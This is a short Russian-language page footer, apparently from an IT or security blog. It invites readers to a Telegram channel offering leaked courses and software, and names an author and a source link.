Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.

Автор: Ральф Фаилов

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js